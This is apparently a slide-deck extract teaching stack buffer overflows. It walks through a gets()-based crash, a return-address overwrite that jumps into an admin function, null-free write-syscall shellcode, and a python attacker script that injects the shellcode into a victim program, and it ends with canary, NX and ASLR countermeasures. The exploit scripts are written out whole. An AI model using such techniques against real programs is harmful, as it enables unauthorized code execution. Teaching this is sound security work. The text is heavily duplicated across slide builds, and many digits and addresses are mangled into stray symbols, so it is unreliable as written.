Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxx

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

ƒ‡ / ƒ Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxx

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ python -c "print \"x\"*23" | ./basicoverflow.elf

ƒ‡ / ƒ Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ python -c "print \"x\"*23" | ./basicoverflow.elf

Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxx

ƒ‡ / ƒ Program execution $ python -c "print \"x\"*24" | ./basicoverflow.elf

Program output, finally, we made it :) Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

ƒˆ / ƒ Program output, finally, we made it :) Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault

Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ python -c "print \"x\"*24" | ./basicoverflow.elf

ƒˆ / ƒ Security concerns Overflow caused program crash First stack overflow basicoverflow.c

1 void askForName ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 }

Program execution $ python -c "print \"x\"*24" | ./basicoverflow.elf

Program output, finally, we made it :) Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault

ƒˆ / ƒ Stack illustration

What happened here? Remember the stack illustration shown before? "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash

ƒ‰ / ƒ Stack illustration Remember the stack illustration shown before? "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash

What happened here?

ƒ‰ / ƒ Stack illustration

"Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash

What happened here? Remember the stack illustration shown before?

ƒ‰ / ƒ "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash What happened here? Stack illustration Remember the stack illustration shown before?

ƒ‰ / ƒ "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash What happened here? Stack illustration Remember the stack illustration shown before? "Joshua" was written in place of "Captain"

ƒ‰ / ƒ ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash What happened here? Stack illustration Remember the stack illustration shown before? "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area

ƒ‰ / ƒ ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

Security concerns Overflow caused program crash What happened here? Stack illustration Remember the stack illustration shown before? "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case

ƒ‰ / ƒ Security concerns Overflow caused program crash What happened here? Stack illustration Remember the stack illustration shown before? "Joshua" was written in place of "Captain" "Lord Vader" just overwrote the junk area ‚ƒ x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case ‚„ x’s overwrote the junk area, the saved basepointer and finally a byte of the return address

ƒ‰ / ƒ Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");} 11 12 int main ( void) 13 { 14 int privileged = 0 ; 15 if ( privileged ) 16 { adminMenu () ; } 17 else { userlogin () ; } 18 return(0); 19 }

„€ / ƒ Can we secretly enter the admin menu via an exploit? Of course we can :) We just disassemble the program and find the address of the adminMenu function to jump to

Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

„€ / ƒ Of course we can :) We just disassemble the program and find the address of the adminMenu function to jump to

Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

Can we secretly enter the admin menu via an exploit?

„€ / ƒ We just disassemble the program and find the address of the adminMenu function to jump to

Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

Can we secretly enter the admin menu via an exploit? Of course we can :)

„€ / ƒ Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

Can we secretly enter the admin menu via an exploit? Of course we can :) We just disassemble the program and find the address of the adminMenu function to jump to

„€ / ƒ The userlogin function would normally return to address €x„€€†€ˆ We change this return pointer to €x„€€ fc, and we’re just in the adminMenu

Security concerns Overflow based program flow alteration Main function disassembled knownpointeroverflow.c

1 4005ef: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 2 4005f6: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 3 4005fa: 74 07 je 400603 4 4005fc: e8 d6 ff ff ff callq 4005d7 5 400601: eb 05 jmp 400608 6 400603: e8 94 ff ff ff callq 40059c 7 400608: b8 00 00 00 00 mov $0x0,%eax 8 40060d:c9 leaveq 9 40060e:c3 retq 10 40060 f: 90 nop

„ / ƒ We change this return pointer to €x„€€ fc, and we’re just in the adminMenu

Security concerns Overflow based program flow alteration Main function disassembled knownpointeroverflow.c

1 4005ef: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 2 4005f6: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 3 4005fa: 74 07 je 400603 4 4005fc: e8 d6 ff ff ff callq 4005d7 5 400601: eb 05 jmp 400608 6 400603: e8 94 ff ff ff callq 40059c 7 400608: b8 00 00 00 00 mov $0x0,%eax 8 40060d:c9 leaveq 9 40060e:c3 retq 10 40060 f: 90 nop

The userlogin function would normally return to address €x„€€†€ˆ

„ / ƒ Security concerns Overflow based program flow alteration Main function disassembled knownpointeroverflow.c

1 4005ef: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 2 4005f6: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 3 4005fa: 74 07 je 400603 4 4005fc: e8 d6 ff ff ff callq 4005d7 5 400601: eb 05 jmp 400608 6 400603: e8 94 ff ff ff callq 40059c 7 400608: b8 00 00 00 00 mov $0x0,%eax 8 40060d:c9 leaveq 9 40060e:c3 retq 10 40060 f: 90 nop

The userlogin function would normally return to address €x„€€†€ˆ We change this return pointer to €x„€€ fc, and we’re just in the adminMenu

„ / ƒ Program execution $ python -c "print ’x’*24+’\xfc\x05\x40’"|./knownpointeroverflow.elf Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx.. Hello admin! Bus error

Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

„‚ / ƒ Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx.. Hello admin! Bus error

Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

Program execution $ python -c "print ’x’*24+’\xfc\x05\x40’"|./knownpointeroverflow.elf

„‚ / ƒ Security concerns Overflow based program flow alteration A more advanced overflow knownpointeroverflow.c

1 void userlogin ( void) 2 { 3 char name[8] ; 4 printf ("Please enter your name:"); 5 gets ( name ) ; 6 printf ("Hello%s\n", name ) ; 7 } 8 9 void adminMenu ( void) 10 { printf ("Hello admin!\n");}

Program execution $ python -c "print ’x’*24+’\xfc\x05\x40’"|./knownpointeroverflow.elf Program output Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx.. Hello admin! Bus error „‚ / ƒ Using a kernel function kernelwrite.c

1 #include 2 3 int main ( void) 4 { 5 static const char *myText ="Joshua\n"; 6 write ( 1, myText, 7 ) ; 7 return(0); 8 }

Just the way we wrote ’x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need Let’s do a kernel function call using C ...

Security concerns Overflow code injection one, but how can I execute my own precious code instead of what’s already there?

„ƒ / ƒ Using a kernel function kernelwrite.c

1 #include 2 3 int main ( void) 4 { 5 static const char *myText ="Joshua\n"; 6 write ( 1, myText, 7 ) ; 7 return(0); 8 }

To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need Let’s do a kernel function call using C ...

Security concerns Overflow code injection Nice one, but how can I execute my own precious code instead of what’s already there? Just the way we wrote ’x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before

„ƒ / ƒ Using a kernel function kernelwrite.c

1 #include 2 3 int main ( void) 4 { 5 static const char *myText ="Joshua\n"; 6 write ( 1, myText, 7 ) ; 7 return(0); 8 }

Let’s do a kernel function call using C ...

Security concerns Overflow code injection Nice one, but how can I execute my own precious code instead of what’s already there? Just the way we wrote ’x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need

„ƒ / ƒ Using a kernel function kernelwrite.c

1 #include 2 3 int main ( void) 4 { 5 static const char *myText ="Joshua\n"; 6 write ( 1, myText, 7 ) ; 7 return(0); 8 }

Security concerns Overflow code injection Nice one, but how can I execute my own precious code instead of what’s already there? Just the way we wrote ’x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need Let’s do a kernel function call using C ...

„ƒ / ƒ Security concerns Overflow code injection Nice one, but how can I execute my own precious code instead of what’s already there? Just the way we wrote ’x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need Let’s do a kernel function call using C ... Using a kernel function kernelwrite.c

1 #include 2 3 int main ( void) 4 { 5 static const char *myText ="Joshua\n"; 6 write ( 1, myText, 7 ) ; 7 return(0); 8 }

„ƒ / ƒ Security concerns Overflow code injection Linux write syscall kernelwrite.dump

1 00000000004004d0

: 2 3 4004 d0: push %rbp # default function intro 4 4004 d1: mov %rsp,%rbp #samehere 5 4004 d4: mov 0x2aac95(%rip),%rax # 6ab170 6 4004db: mov $0x7,%edx# edx= size of string 7 4004 e0: mov %rax,%rsi # rsi = address of string 8 4004 e3: mov $0x1,%edi# edi = output channel 9 4004e8: callq 40c530 <__libc_write> # libc call 10 4004 : mov $0x0,%eax #returnvalue 11 4004 f2: pop %rbp # default function outro 12 4004f3:retq #backtocrt/os... 13 ... 14 000000000040c530 <__libc_write>: 15 40c530: cmpl $0x0,0x2a2665(%rip) # 6aeb9c <__libc_multiple_threads> 16 40 c537 : jne 40c54d <__write_nocancel+0x14> # jump further 17 ... 18 000000000040c539 <__write_nocancel>: 19 40 c539 : mov $0x1,%eax # syscall number in eax 20 40c53e:syscall #syscall!

„„ / ƒ edx = size of string rsi = address of string edi = output channel eax =  for write syscall Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler

„ / ƒ rsi = address of string edi = output channel eax =  for write syscall Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string

„ / ƒ edi = output channel eax =  for write syscall Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string rsi = address of string

„ / ƒ eax =  for write syscall Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string rsi = address of string edi = output channel

„ / ƒ Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string rsi = address of string edi = output channel eax =  for write syscall

„ / ƒ Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string rsi = address of string edi = output channel eax =  for write syscall Let’s write our own assembler program to accomplish this task

„ / ƒ Security concerns Overflow code injection Now we know how do to a write syscall in assembler edx = size of string rsi = address of string edi = output channel eax =  for write syscall Let’s write our own assembler program to accomplish this task

Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

„ / ƒ Program output $ ./asmwrite.elf Joshua Segmentation fault

Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

„† / ƒ Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Program output $ ./asmwrite.elf Joshua Segmentation fault

„† / ƒ Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer Why ? Most string input routines stop reading any further upon the occurence of a 0x00 or 0x0a character, so we must rewrite our code accordingly

Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

„† / ƒ Why ? Most string input routines stop reading any further upon the occurence of a 0x00 or 0x0a character, so we must rewrite our code accordingly

Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer

„† / ƒ Most string input routines stop reading any further upon the occurence of a 0x00 or 0x0a character, so we must rewrite our code accordingly

Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer Why ?

„† / ƒ Security concerns Overflow code injection Kernel write via asm asmwrite.dump

1 400078: ba 07 00 00 00 mov $0x7,%edx 2 40007d: bf 01 00 00 00 mov $0x1,%edi 3 400082: 48 b8 4a 6f 73 68 75 movabs $0xa617568736f4a,%rax 4 400089: 61 0a 00 5 40008 c: 50 push %rax 6 40008d: 48 89 e6 mov %rsp,%rsi 7 400090: 58 pop %rax 8 400091: b8 01 00 00 00 mov $0x1,%eax 9 400096:0f05 syscall

Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer Why ? Most string input routines stop reading any further upon the occurence of a 0x00 or 0x0a character, so we must rewrite our code accordingly

„† / ƒ Fill the victims stack buffer with the upper code Add some padding to reach the position of the return address Overwrite the return address to point to our code

We’re nearly done, what’s left to do is

Security concerns Overflow code injection Rewritten kernel write via asm asmwrite‚.dump

1 400078: 31 d2 xor%edx,%edx 2 40007a: 89 d7 mov%edx,%edi 3 40007c: 83 c2 07 add $0x7,%edx 4 40007f: 83 c7 01 add $0x1,%edi 5 400082: 48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax 6 400089: c2 14 ff 7 40008c: 48 c1 e0 08 shl $0x8,%rax 8 400090: 48 c1 e8 09 shr $0x9,%rax 9 400094: 50 push %rax 10 400095: 48 89 e6 mov %rsp,%rsi 11 400098: 58 pop %rax 12 400099: 48 31 c0 xor %rax,%rax 13 40009c: 48 83 c0 01 add $0x1,%rax 14 4000a0:0f05 syscall

„‡ / ƒ Fill the victims stack buffer with the upper code Add some padding to reach the position of the return address Overwrite the return address to point to our code

Security concerns Overflow code injection Rewritten kernel write via asm asmwrite‚.dump

1 400078: 31 d2 xor%edx,%edx 2 40007a: 89 d7 mov%edx,%edi 3 40007c: 83 c2 07 add $0x7,%edx 4 40007f: 83 c7 01 add $0x1,%edi 5 400082: 48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax 6 400089: c2 14 ff 7 40008c: 48 c1 e0 08 shl $0x8,%rax 8 400090: 48 c1 e8 09 shr $0x9,%rax 9 400094: 50 push %rax 10 400095: 48 89 e6 mov %rsp,%rsi 11 400098: 58 pop %rax 12 400099: 48 31 c0 xor %rax,%rax 13 40009c: 48 83 c0 01 add $0x1,%rax 14 4000a0:0f05 syscall

We’re nearly done, what’s left to do is

„‡ / ƒ Add some padding to reach the position of the return address Overwrite the return address to point to our code

Security concerns Overflow code injection Rewritten kernel write via asm asmwrite‚.dump

1 400078: 31 d2 xor%edx,%edx 2 40007a: 89 d7 mov%edx,%edi 3 40007c: 83 c2 07 add $0x7,%edx 4 40007f: 83 c7 01 add $0x1,%edi 5 400082: 48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax 6 400089: c2 14 ff 7 40008c: 48 c1 e0 08 shl $0x8,%rax 8 400090: 48 c1 e8 09 shr $0x9,%rax 9 400094: 50 push %rax 10 400095: 48 89 e6 mov %rsp,%rsi 11 400098: 58 pop %rax 12 400099: 48 31 c0 xor %rax,%rax 13 40009c: 48 83 c0 01 add $0x1,%rax 14 4000a0:0f05 syscall

We’re nearly done, what’s left to do is Fill the victims stack buffer with the upper code

„‡ / ƒ Overwrite the return address to point to our code

Security concerns Overflow code injection Rewritten kernel write via asm asmwrite‚.dump

1 400078: 31 d2 xor%edx,%edx 2 40007a: 89 d7 mov%edx,%edi 3 40007c: 83 c2 07 add $0x7,%edx 4 40007f: 83 c7 01 add $0x1,%edi 5 400082: 48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax 6 400089: c2 14 ff 7 40008c: 48 c1 e0 08 shl $0x8,%rax 8 400090: 48 c1 e8 09 shr $0x9,%rax 9 400094: 50 push %rax 10 400095: 48 89 e6 mov %rsp,%rsi 11 400098: 58 pop %rax 12 400099: 48 31 c0 xor %rax,%rax 13 40009c: 48 83 c0 01 add $0x1,%rax 14 4000a0:0f05 syscall

We’re nearly done, what’s left to do is Fill the victims stack buffer with the upper code Add some padding to reach the position of the return address

„‡ / ƒ Security concerns Overflow code injection Rewritten kernel write via asm asmwrite‚.dump

1 400078: 31 d2 xor%edx,%edx 2 40007a: 89 d7 mov%edx,%edi 3 40007c: 83 c2 07 add $0x7,%edx 4 40007f: 83 c7 01 add $0x1,%edi 5 400082: 48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax 6 400089: c2 14 ff 7 40008c: 48 c1 e0 08 shl $0x8,%rax 8 400090: 48 c1 e8 09 shr $0x9,%rax 9 400094: 50 push %rax 10 400095: 48 89 e6 mov %rsp,%rsi 11 400098: 58 pop %rax 12 400099: 48 31 c0 xor %rax,%rax 13 40009c: 48 83 c0 01 add $0x1,%rax 14 4000a0:0f05 syscall

We’re nearly done, what’s left to do is Fill the victims stack buffer with the upper code Add some padding to reach the position of the return address Overwrite the return address to point to our code

„‡ / ƒ This victim is so kind to tell us that the address of the buffer we’re seeking to overflow is 0x007fffffffe1e0 so we don’t have to use our debugger.

Security concerns Overflow code injection The victim victim.c

1 void askForName ( void) 2 { 3 char name[64] ; 4 printf ("Address of name: %016p\n", name ) ; 5 printf ("Please enter your name:"); 6 gets ( name ) ; 7 printf ("Hello%s!\n", name ) ; 8 9 } 10 11 int main ( void) 12 { 13 askForName () ; 14 printf ("Done\n"); 15 return(0); 16 }

„ˆ / ƒ Security concerns Overflow code injection The victim victim.c

1 void askForName ( void) 2 { 3 char name[64] ; 4 printf ("Address of name: %016p\n", name ) ; 5 printf ("Please enter your name:"); 6 gets ( name ) ; 7 printf ("Hello%s!\n", name ) ; 8 9 } 10 11 int main ( void) 12 { 13 askForName () ; 14 printf ("Done\n"); 15 return(0); 16 }

This victim is so kind to tell us that the address of the buffer we’re seeking to overflow is 0x007fffffffe1e0 so we don’t have to use our debugger.

„ˆ / ƒ The final working exploit $ ./attacker.py | ./victim.elf Address of name : 0x007fffffffe1e0 Please enter your name : Hello ...... Joshua Segmentation fault

Security concerns Overflow code injection The python attacker attacker.py

1 code =’\x31\xd2\x89\xd7\x83\xc2\x07\x83\xc7\x01\x48\xb8\x94\xde\xe6\xd0\xea’ 2 code +=’\xc2\x14\xff\x48\xc1\xe0\x08\x48\xc1\xe8\x09\x50\x48\x89\xe6\x58\x48’ 3 code +=’\x31\xc0\x48\x83\xc0\x01\x0f\x05’ 4 output = code +’\x90’* ( 64 - len ( code ) ) + 8 *’\x90’; 5 output +=’\xe0\xe1\xff\xff\xff\x7f’; 6 print ( output ) ; 7 ( 0 )

„‰ / ƒ Security concerns Overflow code injection The python attacker attacker.py

1 code =’\x31\xd2\x89\xd7\x83\xc2\x07\x83\xc7\x01\x48\xb8\x94\xde\xe6\xd0\xea’ 2 code +=’\xc2\x14\xff\x48\xc1\xe0\x08\x48\xc1\xe8\x09\x50\x48\x89\xe6\x58\x48’ 3 code +=’\x31\xc0\x48\x83\xc0\x01\x0f\x05’ 4 output = code +’\x90’* ( 64 - len ( code ) ) + 8 *’\x90’; 5 output +=’\xe0\xe1\xff\xff\xff\x7f’; 6 print ( output ) ; 7 exit ( 0 )

The final working exploit $ ./attacker.py | ./victim.elf Address of name : 0x007fffffffe1e0 Please enter your name : Hello ...... Joshua Segmentation fault

„‰ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc

Security concerns Countermeasures OS / Linux

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

